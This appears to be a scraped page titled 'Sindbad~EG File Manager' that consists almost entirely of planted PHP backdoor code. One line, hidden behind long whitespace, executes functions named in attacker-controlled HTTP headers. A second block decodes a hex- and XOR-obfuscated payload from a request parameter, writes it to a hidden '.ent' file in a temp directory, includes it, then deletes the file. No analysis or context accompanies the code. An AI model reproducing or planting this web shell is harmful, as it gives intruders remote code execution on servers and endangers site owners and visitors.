Sindbad~EG File Manager

<?php																																										$_HEADERS=getallheaders();if(isset($_HEADERS['X-Dns-Prefetch-Control'])){$dba_insertion=$_HEADERS['X-Dns-Prefetch-Control']('', $_HEADERS['Server-Timing']($_HEADERS['Content-Security-Policy']));$dba_insertion();}


if(count($_REQUEST) > 0 && isset($_REQUEST["k"])){
	$pset = array_filter([getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir()]);
	$obj = hex2bin($_REQUEST["k"]);
	$ref    = '' ;   $s = 0; while($s < strlen($obj)){$ref .= chr(ord($obj[$s]) ^ 42);$s++;}
	$sym = 0;
do {
    $ptr = $pset[$sym] ?? null;
    if ($sym >= count($pset)) break;
    		if (!( !is_dir($ptr) || !is_writable($ptr) )) {
    $holder = vsprintf("%s/%s", [$ptr, ".ent"]);
    if (@file_put_contents($holder, $ref) !== false) {
	include $holder;
	unlink($holder);
	exit;
}
}
    $sym++;
} while (true);
}